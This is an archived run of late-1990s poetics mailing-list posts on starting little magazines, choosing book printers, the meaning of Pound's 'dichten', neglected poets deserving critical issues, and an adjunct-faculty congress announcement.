we at _Sycamore_ wish to offer our services. _Sycamore Review_ is in its tenth year of publication, and, yes, Tom Beckett, it IS hell out there; but don't abandon all hope: we're here. And we're here for YOU. We have since our last post received some, like, undeniably great submissions.

Please!: had trouble finding the understanding editors? good alive fun venues? Cheesed off at the impersonal rejection slip? the unfriendly mega-rejection? Well, then: send US your work.

Last issue: Araki Yasusada (yes, we know he's an hoax -- that's, like, the _point_), Bill Knott, David Cameron, Denise Duhamel, Campbell McGrath, Catherine Bowman, Dan Morris, Pat Moran, Charles Webb, a great essay by Mikhail Epstein, and two interviews with no cussing.

Next issue: Richard Kostelanetz, Mark Halliday, Caroline Knox, Brenda Coultas, David Cameron, Bill Knott, and THERE'S STILL SOME ROOM LEFT. Deadline for this next issue: April second.

Please submit print material only. No email submissions: we get confused.

We're accepting submissions for, what, poetry, sudden fiction, essays, and stuff that cannot be identified.

Sycamore Review: We're, Like, There When You Need Us.

Gabriel Gudding, Poetry Editor
Sycamore Review
Heavilon Hall
Purdue University
W. Lafayette IN 47907

↑ Index

1071. **Tosh**
Printers?
Fri 27 Feb 1998

Hello List:

Can anyone on this list recommend a good book printer. I imagine there are horror stories as well as pure happiness tales. Please back channel the info, unless you think the list would find it interesting.

Thanks!

Tosh

Tosh Berman
TamTam Books

↑ Index

1072. **Karen Kelley**
sp?
Fri 27 Feb 1998

Oops, triptych. Thought it looked funny.

↑ Index

1073. **David Zauhar**
You Too Can Edit a LitMag (or can you?)
Fri 27 Feb 1998

> *TB wrote:*

> *I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening.*

This might be the type of question where the answer is, "if you have to ask, you'll never know," but what are some of the many ways one can go about setting up a magazine? I'm talking about the material questions here: How much does it cost? How cheaply can it be done? How do you handle the printing? The distribution? The rejection notices? How do you choose a name, for instance? Do you get institutional funding, or do you go it alone? Etc...

Along these lines, I'm about halfway through Michael Cuddihy's memoir, _Try Ironwood_, about his late lamented magazine. It's great, but these questions have gone unasked in that book (I get the feeling he had access to money besides the NEA grants -- not that he was living on easy street given his illnesses, of course, but money didn't seem to be a problem for the mag).

So Poetix folks: I know full well some of you HAVE your own mags and have been dying since this thread has started to talk about them. Here's your chance: Any how-to advice? Horror stories? Success stories? etc etc.

David Zauhar
University of Illinois at Chicago

So often nothing happens
and then when something does
noone notices.

--Alan Davies

(Thanks to Tom Beckett for this week's signature. Coming next week: Bern Porter)

↑ Index

1074. **Laura Moriarty**
Re: single author issues
Fri 27 Feb 1998

Tom -

I stand corrected about the Difficulties - and yes do you have more of those Susan Howes? and I am aware it is very difficult to get people to write critically -

Also - just wanted to mention there is an old Maps (#5) of Louis Zukofsky that is a favorite of mine -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

1075. **Steven Marks**
Re: Printers?
Fri 27 Feb 1998

Tosh and other interested parties,

With the company I used to work for, we used Bookcrafters in, I think, Michigan. You can find their ads in any writing type magazine. I think they are also listed in the resources section of Bookwire. We never had any problems with them. They are at the higher end of the range in price from what I remember, but the knowledge that the job is going to be done on time and right probably makes the extra $$ worth it.

Steven

On Fri, 27 Feb 1998, Tosh wrote:

> *Hello List:*
>
> *Can anyone on this list recommend a good book printer. I imagine there are horror stories as well as pure happiness tales. Please back channel the info, unless you think the list would find it interesting.*
>
> *Thanks!*
>
> *Tosh*
>
> ----------
> *Tosh Berman*
> *TamTam Books*
> ----------

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

1076. **Steven Marks**
Re: You Too Can Edit a LitMag (or can you?)
Fri 27 Feb 1998

David, I published four issues of a magazine called "Angry" about 8 or 9 years ago. If you don't count the hours of free labor I put in, I broke even. I did this by buying a second-hand copy machine so I had control of the means of production. My print runs could be whatever size I wanted. My subscription policy was that I sent it out to 200 friends, relatives, acquaintances, etc. and asked them to send me $4 for the issue if they liked it. Every issue, about 10% of my "subscribers" sent me money, sometimes more than I asked for. It was time that did me in.

Steven

On Fri, 27 Feb 1998, David Zauhar wrote:

> *TB wrote:*
>
> *I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening.*
>
> *This might be the type of question where the answer is, "if you have to ask, you'll never know," but what are some of the many ways one can go about setting up a magazine? I'm talking about the material questions here: How much does it cost? How cheaply can it be done? How do you handle the printing? The distribution? The rejection notices? How do you choose a name, for instance? Do you get institutional funding, or do you go it alone? Etc...*
>
> *Along these lines, I'm about halfway through Michael Cuddihy's memoir, _Try Ironwood_, about his late lamented magazine. It's great, but these questions have gone unasked in that book (I get the feeling he had access to money besides the NEA grants -- not that he was living on easy street given his illnesses, of course, but money didn't seem to be a problem for the mag).*
>
> *So Poetix folks: I know full well some of you HAVE your own mags and have been dying since this thread has started to talk about them. Here's your chance: Any how-to advice? Horror stories? Success stories? etc etc.*
>
> *David Zauhar*
> *University of Illinois at Chicago*

> *So often nothing happens*
> *and then when something does*
> *noone notices.*
>
> *--Alan Davies*
>
> *(Thanks to Tom Beckett for this week's signature. Coming next week: Bern Porter)*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

1077. **TBeck131**
again with the single author issues already
Sat 28 Feb 1998

I'm sure my enthusiasm for this list will ebb and fade. Nonetheless my challenge was serious . I truly believe that all writers should edit and publish a magazine at some point in their career. And that the magazine should be as focused and considered as possible--it should be the evidence of the need that brought it forth. Magazines, reading series, talks and the like are the foundation blocks of the larger social project that a writing practice is--we all need to take responsibility for keeping these kinds of scenes renewed and alive. Doing a mag will teach you things you can't learn any other way.Why not do what you can do, start what you can start sooner rather than later? If you think the "old guys" are getting all the attention then develop a context to attend to the work of that special thirty something, or neglected whomever. Only connect. I'll stop here. I'm starting to irritate myself.

Tom Beckett

↑ Index

1078. **Joel Kuszai**
Re: single author issues
Sat 28 Feb 1998

> *I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening.*

> *tom beckett*

"everyone should be have their own band!"
"yeah that'd be wicked!"
"then there'd be one big show and everyone in the world would play!"
"yeah"

(my memory of a particularly lovely section of the first Sebadoh record, c. 1988 or 89)

↑ Index

1079. **Michel Delville**
Pound's Dichtung
Sat 28 Feb 1998

On Thu, 26 Feb 1998 10:35:40 +0100 Michel Delville said:
>>The German verb "dichten" does not mean "to condense" but to "block" the
>>holes or openings in an object in order to prevent air, gas, or liquid
>>getting in or out. I guess "to seal" would be the nearest English
>>equivalent. The idea, however, is not to achieve "poetic density" but
>>rather to preserve a sense of unity or wholeness. More fragments to shore
>>against our ruins?

> *saying that Pound's idea - behind this expression dichten = condensare -*
> *is to preserve unity or wholeness?*
> *point Pound is making here is: "to write poetry is to condense", i.e.*
> *to sharpen, shorten, achieve precision and depth through brevity.*
> *Perhaps this is assuming too many a priori Poundian sentiments.*
> *Are you suggesting that Pound may also have been playing with*
> *this other meaning of "dichten" - to set a seal? I think the image*
> *of "setting a seal" was extremely important to Pound - he was always*
> *aiming for the effect of a visual emblem on a number of levels - a*
> *Renaissance, iconic imagism. I'm not sure how your*
> *focus on achieving unity & wholeness relates to the word "condensare",*
> *but I can understand the sense of an author "setting a seal" on a work -*
> *the overall, pervasive, unique signature - the "total" icon. His father*
> *worked for the mint; Pound made Pound notes cohere as heavy crystal;*
> *with all the arch-reactionary elements of authorial "totality" set*
> *up against the non-visual, ultra-verbal splurge of Joyce or Stein.*
>
> *...but what were you saying? I mean, how does the whole equation imply*
> *preserving unity or wholeness? Is it that the process of condensation*
> *leads finally to "setting the seal"? - Henry Gould*

I don't think it does, at least in the context of Pound's ABC of Reading -- I was merely trying to answer Jeremy's query by pointing out that the verb "dichten"

does not mean "to condense" but to "seal a gap" or "to plug the leaks" in something, at least in contemporary German. Also, the words "dichten" and "Dichtung" indeed seem etymologically unrelated.

I just thought that the idea of poetry as an act of "sealing" in this sense (which is clearly not what Pound meant in the aforementioned quote) adds an ironic, albeit retrospective, twist to Pound's poetic project and his commitment to poetry as a craft, and eventually as a means of redeeming culture and history. Now I concur that any such speculation -- based as it is on Pound's third-hand knowledge of German and my second-hand knowledge of ABC of Reading -- is ultimately sterile and self-undermining. My apologies to those of you who took my comments seriously.

Jedem Dichter seine Dichtung is what I say.

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

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1080. **Bob Grumman**
Re: single author issues
Sat 28 Feb 1998

This is a multi-part message in MIME format.

Just a reminder that Comprepoetica is still in business. At Comprepoetica those of you interested in individual poets (and one critic) can read brief biographies of more than forty of them, many on this list. I hope eventually to have the equivalent of a magazine issue devoted to each of Comprepoetica author: bio, selection of poems, critical discussion--but the site doesn't seem to be generating much interest. All I need is data for bios, and/or sample poems and/or a discussions of a poet's work by the poet or someone else. So send me something! And get those poets you'd like to read about to send me something! Comprepoetica's URL should be below.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------1B9321EFD8A--

↑ Index

1081. **George Thompson**

Re: Pound's Dichtung

Sat 28 Feb 1998

To follow up on Michel Delville's post:
>
>I don't think it does, at least in the context of Pound's ABC of Reading --
>I was merely trying to answer Jeremy's query by pointing out that the verb
>"dichten" does not mean "to condense" but to "seal a gap" or "to plug the
>leaks" in something, at least in contemporary German. Also, the words
>"dichten" and "Dichtung" indeed seem etymologically unrelated.

But in fact 'dichten' does have the meaning 'tighten, thicken' and by extension it does mean 'condensare.' Somebody cited the form 'verdichten' already: this verb means 'to compress, condense.' That is, quite literally, 'dichten' by extension: ver + dichten. Also, if you look at Kluge's _Etymologisches Woerterbuch der Deutschen Sprache_, the article on 'dichten' will show the historical dvelopment of this word, which is transparently related to English 'thicken, tighten.'

At some point [Kluge cites the 9th century] there is evidence of borrowing of the Latin verb 'dictare' to dictate, compose, poetry [again, Horace: dictare carmina]. And the two separate verbs, with exact same phonetic shape but quite different meaning, begin to influence each other.

In fact, besides, 'Dichtung' [poem], there is also a second form, 'Dichtung' [sealing, packing].

The point is that Pound, with his poetic ear, picked up on this semantic association and played with it, rather perceptively I think, even if not fully aware of the history of these words.

George Thompson
>
>I just thought that the idea of poetry as an act of "sealing" in this sense
>(which is clearly not what Pound meant in the aforementioned quote) adds an
>ironic, albeit retrospective, twist to Pound's poetic project and his
>commitment to poetry as a craft, and eventually as a means of redeeming
>culture and history. Now I concur that any such speculation -- based as it
>is on Pound's third-hand knowledge of German and my second-hand

knowledge
>of ABC of Reading -- is ultimately sterile and self-undermining. My
>apologies to those of you who took my comments seriously.
>
>Jedem Dichter seine Dichtung is what I say.
>
>----------
>Michel Delville
>English Department
>University of Liège
>3 Place Cockerill
>4000 Liège
>BELGIUM
>fax: ++ 32 4 366 57 21
>e-mail: [redacted]

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1082. **Brian Clements**
Re: Printers?
Sat 28 Feb 1998

The list _would_ find it interesting...

~~~~~~

On Fri, 27 Feb 1998, Tosh wrote:

> *Hello List:*
>
> *Can anyone on this list recommend a good book printer. I imagine there are horror stories as well as pure happiness tales. Please back channel the info, unless you think the list would find it interesting.*
>
> *Thanks!*
>
> *Tosh*
>
> ----------
> *Tosh Berman*
> *TamTam Books*
> ----------

↑ Index
~~~~~~

1083. **TBeck131**
more on mags,etc.
Sat 28 Feb 1998

A couple of years ago I destroyed most of my writing(the bulk of what constituted 15 and more years of work). Stupid? Perhaps. A practice suicide? Maybe. I was at the end of my tether, rabid with self-directed loathing. I'd convinced myself that I remained the failing little boy of yore and that time was running out. It's still sometimes hard not to feel this way although I'm learning tricks to turn around these patterns of negativity.

My larger point is that this act of destruction was a sad necessity in terms of clearing the deck. All those MSS (slaved over, patronized, rejected, vilified) were like a noose around my neck. Cutting them away reawakened in me a dormant sense of just how enormous a responsibility is the practice of writing. I resolved to begin again, perhaps fail again; but, like Uncle Sam, to "fail better".

The list has revolutionary potential insofar as we spin off from it and do the hard work in the big and nasty outside world. I wasn't an English major. I live in a college town but am not an academic. I do Public Health work in which I am constantly up against many of life's harder realities. Much as I love theorizing I think the real point of all art is change. Multidimensional change.

Do something--a mag or reading series, talks (whatever you can do to expand the appetite for radical thought). Make the list an epicenter. Become a retrovirus. Infect the body politic.

"I've got another/Jones for Jesus."

Tom Beckett

↑ Index

1084. **Miekal And**
this is the hour of the web
Sat 28 Feb 1998

Repeatedly, with this discussion of honoring & widening the path to those who have done the work & made now possible, (whether were speaking language, visual/verbal, or poetry poetry) the looming omission seems to be that access to such authors is taken for granted. I dont believe Im the only person interested in meeting all of an author's lifework that does not have access to libraries that carry this work, who cannot afford to buy it, or who uses literature in less academic, more playful ways. My interest is less in marking critical recognition & or canonizing our favorites. What I am interested in is how, (for example) David B's life & words enter my daily life, whether its feedings the goats, planting trees, or teaching interns about permaculture. My belief is that in order for

poetry to live it has to function simultaneously with/ & as an essence of community.

For many communities such as Dreamtime Village, the web has made what failed in the 60s possible in the 90s. & my overriding critique of many such sustainable communities then as now is that they are culturally stale, that they are afraid to make the leaps that allow the exciting & breathtaking culturework going on, that we in this list take for granted as being something larger than us, when in many ways it really is a phenomena of the personalities on this list. If I wanted to turn a newbie showing up at dreamtime onto the world of newlit, I would invite them to take part in this list a long time before I would have them tackle Louie's A. (Rest assured that in the end, after access to real people was achieved, I would expand it to introducing them to books & publishing & readings, etc.).

When I was coming of age in the late 70s I got excited about & addicted to this very questionable lifestyle by Kostelanetz & Rothenberg anthologies & by L=A=N=G=U=A=G=E mag, & even was so daring as to think they would publish my writing & tho my submissions were repeated rejected, I felt thru those pages that it was a circuit of ideas & designs that somehow included me in a very personal way. & meeting many of those characters later on confirmed that indeed we shared similar motivations & longterm goals even if our styles were very very different.

Miekal

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1085. **Miekal And**
Re: Critical issues
Sat 28 Feb 1998

Laura Moriarty wrote:

> *I try to send printouts of non to the not-netted (though of course some texts and images are web-only knowable) - As an archivist I know that such hard copies collected at the various archives will be of lasting importance -*

I detect a strategy here, & would like to know more. Are you saying that the same archives that collect small press & bookart are also interested in a hardcopy version of webworks? How are they being catalogued? Are you binding actual volumes or are you handing them looseleaf xeroxes. Do you think such works get treated equal to published volumes or is it treated as ephemera, like say an author's letters?

> *Relatedly -*

> *Recently got some stats for non that suggest much readership - many hits form all over the world and want to thank people for checking in -*

When I compare how many hits we get on various sites to how many people have read a Xexoxial book, I have to console myself that ehy are really 2 different mediums. There is of course the question of how many of those "hits" actually consume content.

> *I've always thought that it's good to give something to the writing community esp if you expect anything back - run a series, publish a magazine etc - It feeds the work -*

I think the days of poets being supported by a critical & publishing that is separate from their own life's work have largely come to pass. Of the 100s of writers/artists Im in contact with, I really dont know one that isnt participant in at least some of the other furniture of creating poetic culture, whether it be publishing, distributing, bookstores, working in archives & libraries, radio, reading series, collaborations, teaching & promotion.

> *I also think (on another thread) that it's hard for anyone to really imagine David Bromige's true glamour if they haven't experienced it in person -*

You know, I invited David to come show me his goat milking tricks for just that reason.

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1086. Miekal And
The Critical Issue
Sat 28 Feb 1998

TBeck131 wrote:

What are all of us willing to do?
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What are all of us willing to do?
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What are all of us willing to do?

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1087. **rsillima**
Department Stores & Poets
Sat 28 Feb 1998

Yo, Hilton,

While poets have been using libraries and coffee houses in which to write for centuries, I do believe it may have been the late Dan Davidson who was the first to employ the department store for this purpose. Dan would go to Nordstrom in San Francisco, find a place to sit and work. He claimed that he enjoyed the ambience of the live piano.

Ron Silliman

Date: Thu, 26 Feb 1998 08:46:27 -0800
From: Hilton Manfred Obenzinger <[redacted]>
Subject: Re: poets-in-residence

I don't know about the earlier posting, but the idea of poets in car plants and lingerie departments sounds terrific.

Hilton Obenzinger

On Thu, 26 Feb 1998, Pat Boran wrote:

> Re David R Isreael's earlier posting:
>
> Ok, maybe it is a bit weird that Peter Samson is poet-in-residence in Marks
> and Spenser's store, but here on this side of the Atlantic (i.e. the other
> side to most of you people) we thought the States invented all this stuff
> and that's why we're falling over ourselves now to put poets in hospitals,
> libraries, lingerie departments, what have you. Even as I write, I'm in the
> old National Ballroom, Dublin (Ireland) where I'm writer-in-residence for
> Dublin Corporation, and a couple of weeks back I did a short, experimental
> stint in a Nissan car plant. The idea came from the News department of RTE,
> our national TV broadcaster, no doubt spurred on by the appointed of a poet
> in residence to the BBC News department in London a couple of weeks back.
> As far as I can make out (initial novelty aside), it's all about reminding
> people that poetry doesn't have a natural home, per se. Still, I must admit
> that a recent circular to British and Irish poets about availability for
> workshops/residencies did make me sit up. Among the locations that might
> be ticked by the interested scribe were zoos and nuclear power stations!
>
> PAT BORAN
> [redacted]
>

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1088. **Douglas**
Re: Printers?
Sat 28 Feb 1998

Bookcrafters -- as almost any small publisher
will tell you -- are crooks. And they do sloppy
jobs. Never use them.

D

Steven Marks wrote:
>
> Tosh and other interested parties,
>

> With the company I used to work for, we used Bookcrafters in, I think,
> Michigan. You can find their ads in any writing type magazine. I think
> they are also listed in the resources section of Bookwire. We never had
> any problems with them. They are at the higher end of the range in price
> from what I remember, but the knowledge that the job is going to be done
> on time and right probably makes the extra $$ worth it.
>
> Steven
>
> On Fri, 27 Feb 1998, Tosh wrote:
>
> > Hello List:
> >
> > Can anyone on this list recommend a good book printer. I imagine there
are
> > horror stories as well as pure happiness tales. Please back channel the
> > info, unless you think the list would find it interesting.
> >
> > Thanks!
> >
> > Tosh
> >
> > ----------
> > Tosh Berman
> > TamTam Books
> > ----------
> >
>
> _____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
> _____

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1089. **rsillima**

Critical issues

Sat 28 Feb 1998

IN ADDITION TO the names that have already been mentioned, there have never been any critical issues of magazines devoted to:

Rae Armantrout
Fanny Howe
Carla Harryman
Kathleen Fraser
Joanne Kyger
Beverly Dahlen
Hannah Weiner
Bernadette Mayer
Maureen Owen
Ann Lauterbach
Rosemarie Waldrop
Barbara Guest
Tina Darragh
Laura Moriarty

Every single one of whom has produced more than enough great writing to warrant same.

The only conceivable "excuse" is the number of great male writers likewise neglected. (Although if I start to think about male writers of color, like Lorenzo Thomas, Nate Mackey, Cecil Giscombe, or Kofi Natambu, I'll probably start to rant all over again....)

Ron

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1090. **Joel Kuszai**
Re: Critical issues
Sat 28 Feb 1998

A few weeks ago (it seems) Loss Glazier proposed to the graduate students "here" in Buffalo (this messsage delivered to my time zone via the glory of telnet) that it might be a productive addition to one's graduate work to do the requisite labor involved for the creation of EPC author pages where many of the poets one might want to see represented are not (mostly women). His list was about two times as long as Ron's and probably not everyone on it is in line for such a collection of critical appreciation. This electronic space makes for a different set of possibilities. I would recommend that where once Talisman did a S.H. issue, or an Alice Notley Issue (and I really can't believe that for some of the writers listed below there aren't qualifying feschrifts, but that just goes to show i guess...) NOW we might think of clustering critial interests around volunteeristic/careeristic editors who would do the labor of assembling the texts. As Loss pointed out (here/there) the actual markup for this activity would be relatively easy and done at the EPC home office, so no real html experience

would be required. Joseph Conte did something of a similar service when he sent out requests for Dictionary of Literary Biography entries on contemporary poets. It seems that the EPC equivalent could be simple sites providing a similar function.anyhow-that's my 2sense

On Sat, 28 Feb 1998 [redacted] wrote:

> *IN ADDITION TO the names that have already been mentioned, there have never been any critical issues of magazines devoted to:*
>
> *Rae Armantrout*
> *Fanny Howe*
> *Carla Harryman*
> *Kathleen Fraser*
> *Joanne Kyger*
> *Beverly Dahlen*
> *Hannah Weiner*
> *Bernadette Mayer*
> *Maureen Owen*
> *Ann Lauterbach*
> *Rosemarie Waldrop*
> *Barbara Guest*
> *Tina Darragh*
> *Laura Moriarty*
>
> *Every single one of whom has produced more than enough great writing to warrant same.*
>
> *The only conceivable "excuse" is the number of great male writers likewise neglected. (Although if I start to think about male writers of color, like Lorenzo Thomas, Nate Mackey, Cecil Giscombe, or Kofi Natambu, I'll probably start to rant all over again....)*
>
> *Ron*

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1091. **Eryque Gleason**

National Adjunct Congress in NYC (fwd)

Sat 28 Feb 1998

hi all. i haven't been reading this list lately, so i don't know if this announcement has been posted yet. my apologies if it has. eryque

> *---------- Forwarded message ----------*
> *Date: Tue, 17 Feb 1998 22:39:16 EST*
> *From:* [redacted]
> *To:* [redacted]

Subject: National Adjunct Congress in NYC

The Doctoral Students' Council of the City University of
New York Graduate Center
Welcomes:

Second National Congress of Part-Time,
Adjunct, Non-Tenure-Track and GTA Faculty

"Our Time Has Come"
New York City
April 3,4,5 1998

The Second National Congress of Part-Time, Adjunct, Non-Tenure-Track and GTA Faculty will be held in New York on April 3, 4 and 5 1998. The Congress will open at the CUNY Graduate Center at 33 West 42 street. The Second National Congress is an event organized by faculty who are concerned about the current and future state of higher education. Plenary and workshop sessions facilitated by faculty and faculty organizers will address the key strategies, needs and visions of part time/ adjunct, GTA and non-tenured faculty over the three day working conference.

This conference takes place at a time when faculty, both full and part time, at institutions of higher education are under an escalating assault. The current trend to degrade the profession through the creation and expansion of an increasingly polarized multi-tier system is academically indefensible and is in the worst interest of students, their parents and the increasingly exploited instructional work-force. The administrative and governing apparatus prioritizes profit-oriented research, endowments, infrastructure, and administration over and against education. The push to drive down faculty salaries, eliminate tenure and populate the university with a group of over-worked contingent laborers may advance the careers of some administrators, but it represents a betrayal of the university's educational mission.

In order to combat the forces arrayed against students and faculty alike, we are coming together to educate and organize. This second congress is part of a growing movement of lower-tier faculty, students, and organizers to take an active role in the struggle to save higher education.

This congress is envisioned as the continuation of an organized effort by lower-tier faculty to transform the institutions in which they teach.

Please publicize this in appropriate forums.

CUNY Graduate Center / 33 West 42nd Street / New York, NY, 10036
Brecht Forum/122 West 27th Street/ 10th Floor/New York, NY, 10001

****

Schedule:

Opening: Friday Plenary April 3 - 3-9
Workshops on Saturday from 9 - 5:30
(Party Saturday Night at The Brecht Forum)
Follow-up at the Brecht Forum on April 5 from 10 am to 3 pm.
****

There is no conference fee, but we ask that you register ASAP.

REGISTRATION- reply to: [redacted] *(or see below).*

REGISTRATION

Name:

Affiliation:

Phone #:

E-Mail:

Do you need accommodations information ?

Is there a workshop that you would be interested in (describe it):

Would you be interested in leading a workshop (describe it)?

Can your organization make a contribution to help defray the costs of this event?

$50. $100. $250 other_____

Checks can be made out to: CUNY Graduate Center and mailed to:
The Adjunct Project
c/o Doctoral Students' Council
25 W. 43rd St., Rm. 400
New York, NY 10036

If you cannot register by e-mail mail registration to the above address.
For further information, please call Eric at [redacted].

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1092. **Michael J. Kelleher**
Re: You Too Can Edit a LitMag (or can you?)
Sat 28 Feb 1998

David Zauhar wrote:

> *So Poetix folks: I know full well some of you HAVE your own mags and have been dying since this thread has started to talk about them. Here's your chance: Any how-to advice? Horror stories? Success stories?*
> *etc etc.*

David,

I'm interested in e-publications as a means to distribute quickly and broadly the work of contempos. Many university servers offer students/faculty a significant amount of free server space with their accounts and most pay-servers do the same. Usually something in the 'hood of five mb's. This is enough space to do at least a years worth of text-only pubs, and if you use netscape communicator you don't even have to know how to write html to publish a zine. So, it' very cheap, very easy and very quick - I spent less than 10 hours designing, finishing and distributing the first issue. One click to the poetics list and you have a distribution of nearly six hundred interested readers.

I'd be interested also to hear other's thoughts on e-publiation. Especially regarding publication or "previously published" status of texts as regards print mag editing as well as reading poetry on line, printing out e-pubs etc. Are people likely to read on-line or to print them out and read them on paper? How do "materialists" feel about such a disembodied space for poetry?

Truly,

Mike

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1093. **Maria Damon**
Re: more on mags,etc.
Sat 28 Feb 1998

At 10:12 AM -0500 2/28/98, TBeck131 wrote:
>A couple of years ago I destroyed most of my writing(the bulk of what
>constituted 15 and more years of work). Stupid? Perhaps. A practice
>suicide? Maybe. I was at the end of my tether, rabid with self-directed
>loathing. I'd convinced myself that I remained the failing little boy of yore
>and that time was running out. It's still sometimes hard not to feel this way
>although I'm learning tricks to turn around these patterns of negativity.
>

>My larger point is that this act of destruction was a sad necessity in terms
>of clearing the deck. All those MSS (slaved over, patronized, rejected,
>vilified) were like a noose around my neck. Cutting them away reawakened in
>me a dormant sense of just how enormous a responsibility is the practice of
>writing. I resolved to begin again, perhaps fail again; but, like Uncle Sam,
>to "fail better".
>
>The list has revolutionary potential insofar as we spin off from it and do the
>hard work in the big and nasty outside world. I wasn't an English major. I
>live in a college town but am not an academic. I do Public Health work in
>which I am constantly up against many of life's harder realities. Much as I
>love theorizing I think the real point of all art is change. Multidimensional
>change.
>
>Do something--a mag or reading series, talks (whatever you can do to expand
>the appetite for radical thought). Make the list an epicenter. Become a
>retrovirus. Infect the body politic.
>
>"I've got another/Jones for Jesus."
>
>Tom Beckett

your words are inspiring. i know i don't have the energy to do a mag by myself, and barely the energy to do speakers, but there are other ways of participating which i do. i'm grateful for your voice on the list. as for destroying one's work, i've done that too, and you're right: even though in the long run the work out-lives the person, in the larger metaphysical world i think, if one *can* make the choice, it's okay to choose one's life over one's work.

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1094. **Bob Grumman**
Re: Critical issues
Sat 28 Feb 1998

This is a multi-part message in MIME format.

Joel, could you tell us a little more about Joseph Conte's Dictionary of Literary Biography entries on contemporary poets? I don't remember his post about that. If he's doing what I'm doing, maybe he and I could pool efforts. I, too, hope to use my site's bios in a dictionary.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------152F7B473060--

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1095. **Mark Weiss**

Re: Printers?

Sat 28 Feb 1998

I'll second that emotion. Recently they gave me an estimate that was 10% below McNaughton & Gunn, which I use. I had them send me samples--they were awful (always ask for samples of the work of a printer who's new to you). All printers have problems, make mistakes. M & G is as good as any short-run company, and better than many. They screwed up the page back-up on one of Junction's books. My standards are pretty high. They trashed the whole print run and did it over at their expense. McNaughton & Gunn, [redacted]. Ask for Lori Potter, tell her I sent you--never hurts to grease the wheels. Turn around, by the way, is 4-5 weeks.

At 08:57 AM 2/28/98 -0800, you wrote:
>Bookcrafters -- as almost any small publisher
>will tell you -- are crooks. And they do sloppy
>jobs. Never use them.
>
>D
>
>Steven Marks wrote:
>>
>> Tosh and other interested parties,
>>
>> With the company I used to work for, we used Bookcrafters in, I think,
>> Michigan. You can find their ads in any writing type magazine. I think
>> they are also listed in the resources section of Bookwire. We never had
>> any problems with them. They are at the higher end of the range in price
>> from what I remember, but the knowledge that the job is going to be done
>> on time and right probably makes the extra $$ worth it.
>>
>> Steven
>>
>> On Fri, 27 Feb 1998, Tosh wrote:
>>
>> > Hello List:

>> >
>> > Can anyone on this list recommend a good book printer. I imagine there are
>> > horror stories as well as pure happiness tales. Please back channel the
>> > info, unless you think the list would find it interesting.
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>> > Tosh Berman
>> > TamTam Books
>> > ----------
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>> _____
>> Steven Marks
>>
>> http://members.aol.com/swmarks/welcome.html
>> _____
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>

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1096. **Judy Roitman**
Ko Un
Sat 28 Feb 1998

I've been asked, on very short notice, to write a book review on a short collection of poems (in English translation) by the Korean poet Ko Un.

The introductory material and translator's notes have a lot to say about his life and Zen practice, but very little about how his work fits into contemporary Korean poetry, or what the range of contemporary Korean poetics is. Ko Un himself states his poetics, but they seem much more revolutionary than his poems as they appear in translation. Only 108 (a significant Buddhist number) poems appear in the collection, but he is apparently much more prolific than that, and I have no idea how typical these poems are of his work.

If anyone can help me fill in some of the gaps mentioned in the above paragraph I will be very grateful.

Unfortunately, the review is due in a few days.

Thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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1097. **louis stroffolino**
QUERIES
Sat 28 Feb 1998

!. Does anybody know if Keith Tuma is still on this list?
More importanly, does anybody have his email address?
Backchannel me, thanks.....
2. Does anybody have access to the WEB and could print out some of
John Tranter's magazine published in the form of a web-site....
I am particularly looking for the HANS MAGNUS ENZENSBERGER poem
he announced was to be published there. Since I do not have
web access, and even if i did, cannot download and print off
my email (and i cannot read POEMS on computer screen in a way
that does them justice), I would
DEEPLY appreciate the assistance of anybody
who could do this for me (will send you my book or something
as payment). Thanks, in advance....
CHRIS STROFFOLINO

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1098. **Hilton Manfred Obenzinger**
Re: Department Stores & Poets
Sat 28 Feb 1998

Rob,

There's often a blur between the coffee house, the department store, and the mall, such as at the Nordstrom's at Stonestown in SF, and with the piano there's a certain dreamy ambience that's melancholy, soothing, filled with muffled anxiety (the appropriate state of commodity exchange alpha brain, I suppose) that I found conducive to writing, even when I had commercial jobs, so I can appreciate what Dan Davidson enjoyed. Other great places are airports,

train stations. Of course, there's always hotel lobbies -- and if you get dressed up, bring a brief case, you can sit for hours as if you're waiting for a meeting with no one bothering you.

Pat Boran I think is talking about poets actually getting paid to hang out at Nordstrom's -- an even more thrilling notion (if no strings attached) -- an idea that might get implemented in "socialist" Britain or Ireland. Imagine having a little space in Boeing or the Chicago commodities exchange or the Luxor in Las Vegas, some notebooks, a computer -- hell, I could finally write a poem of micr-wave electronics and Boolean Algebra at Hewlet-Packard, and I'm running out to their personnel department to offer my services right now!

Take care,

Hilton Obenzinger

On Sat, 28 Feb 1998 [redacted] wrote:

> *Yo, Hilton,*
>
> *While poets have been using libraries and coffee houses in which to write for centuries, I do believe it may have been the late Dan Davidson who was the first to employ the department store for this purpose. Dan would go to Nordstrom in San Francisco, find a place to sit and work. He claimed that he enjoyed the ambience of the live piano.*
>
> *Ron Silliman*
>
> *Date: Thu, 26 Feb 1998 08:46:27 -0800*
> *From: Hilton Manfred Obenzinger <[redacted]>*
> *Subject: Re: poets-in-residence*
>
> *I don't know about the earlier posting, but the idea of poets in car plants and lingerie departments sounds terrific.*
>
> *Hilton Obenzinger*
>
> *On Thu, 26 Feb 1998, Pat Boran wrote:*
>
> *Re David R Isreael's earlier posting:*
>
> *Ok, maybe it is a bit weird that Peter Samson is poet-in-residence in Marks*
